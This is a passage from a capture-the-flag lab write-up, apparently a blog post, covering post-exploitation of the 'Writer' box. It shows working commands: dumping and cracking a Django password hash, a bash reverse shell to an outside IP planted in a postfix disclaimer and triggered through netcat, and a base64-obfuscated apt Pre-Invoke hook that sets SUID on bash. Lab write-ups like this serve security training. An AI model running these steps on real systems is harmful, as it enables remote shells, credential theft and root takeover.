de and gave the website a refresh. We had received a reverse shell!Post ExploitationThe manage.py file in Django is used to communicate with a website’s files and perform functions such as run server and migrate changes. However, dbshell command is used to communicate with the website’s database. So after a bit exploring we found a hashed credential in auth_user table.python3 manage.py dbshellhttps://blogger.googleusercontent.com/img/a/AVvXsEiso-v7dWgQtmqMM7EEckAJZqHkukPP2Z2qVmPRgC3yRi95P_SR6sDg4dJmFRHxDnfJSi4QGz2uMtUSvamo3o1yHKXvs1e_ZtyNNMCb1BB266wzZZMf4nad79RM-KWEYN4H3xxcQmPlgas80XSeUVrFXcMWd73eUq_JNZVeiP1pGa2ov2kPhQ9WFud_NQ=s16000 We took this cred and ran it with hashcat using rockyou.txt wordlisthashcat -m 10000 hash rockyou.txthttps://blogger.googleusercontent.com/img/a/AVvXsEhiLXTQSXcgl0zpDJhjlqU8v1-d8_jU_eTPnptq71mfht79bTrETtEHGxelXQjLAuIGVIVcJHrMqi9R1cTOgSap8jruwEZtjdCyPZX02tVcHqm2QER89t01XaVegKyeGXfc1uJL3HOABr0jSAbYXPdLJainKNRcZ4LbsbOidmceBZb6cN90LEq9WuPM-A=s16000 The password came out to be: marcoantoniofind / -group filter 2>/dev/nullhttps://blogger.googleusercontent.com/img/a/AVvXsEgoG6xZqedvffARJwAj_Wc45pGGiWDFRQj0sZmlfH5UdvulIGuEUKkY0vG6Ig8kks5axeVMG129m4Py8kCU9vPu6lmFFi7d5X-jd02T0SJ-6ly6IEfcDBKkl9kZF0tvFPfP-wB6iIReWehXE-svkgtQ-Wkpmcj4XHfITMNHlCSL_t2xRwN9-75hwHjTFg=s16000 Now, since this disclaimer would be automatically added to every e-mail, we can overwrite this file with our reverse bash code and send a simple testing e-mail to john using netcat. The following payload does the said thing.echo "bash -c 'bash -i &>/dev/tcp/10.10.14.104/5555 0>&1'" > /etc/postfix/disclaimer && echo -e "HELO writer.htb\nMail From:kyle@writer.htb\nRCPT To: john@writer.htb\nData\nTo: john@writer.htb\nFrom: kyle@writer.htb\nSubject: Testing\nTesting\n." | nc localhost 25https://blogger.googleusercontent.com/img/a/AVvXsEjMMaZjzX0qbhvhAsS9CNYlaW5zpKoKeM2ULUHTICgGDyu0CsrxLWl0ilmwZ0hcsAJz-8ZM3-PVmsFVOLpCN7-tyiWPq8YPDVrybxArz00A13U6ogUCzKonKMqhg2DGk3-CqVREDwPzcXZimxlm8rNN0aJFOngkTkqyv_TwRRVLarodGB-mCpQ-EKvllQ=s16000 And on our listener set up on port 5555 we see user john’s shell!

Hence, we will follow our article here and use apt-get to escalate ourselves to root. The payload that we are using inside Pre-Invoke is this: /bin/bash -c chmod 4777 /bin/bashecho 'apt::Update::Pre-Invoke {"echo L2Jpbi9iYXNoIC1jICJjaG1vZCA0Nzc3IC9iaW4vYmFzaCIK | base64 -d | bash"};' > /etc/apt/apt.conf.d/000-shellYou can see that bash has SUID bit set now! We’ll just launch it using -p option now and read the congratulatory flag as we are now root!/bin/bash -phttps://blogger.googleusercontent.com/img/a/AVvXsEj9tRr8q_bS_gk5HFIcKJtJgDHAN16ZGzONAwQyr7RFr95dtZ4iqNzDwNLqgZT7lhMmzhuGqxIlTfbBAXE9aCgufdOAVAsU25_k0PpxbS2VKtghMpIsy1b-9C6Iwc9p6eulPCQ1EequVPDIjZ2cfAYhlugYtGXi96chWsTVu4PH8nMhKUPPmTKVGq1X5w=s16000 Hence, this is how we rooted the box writer.
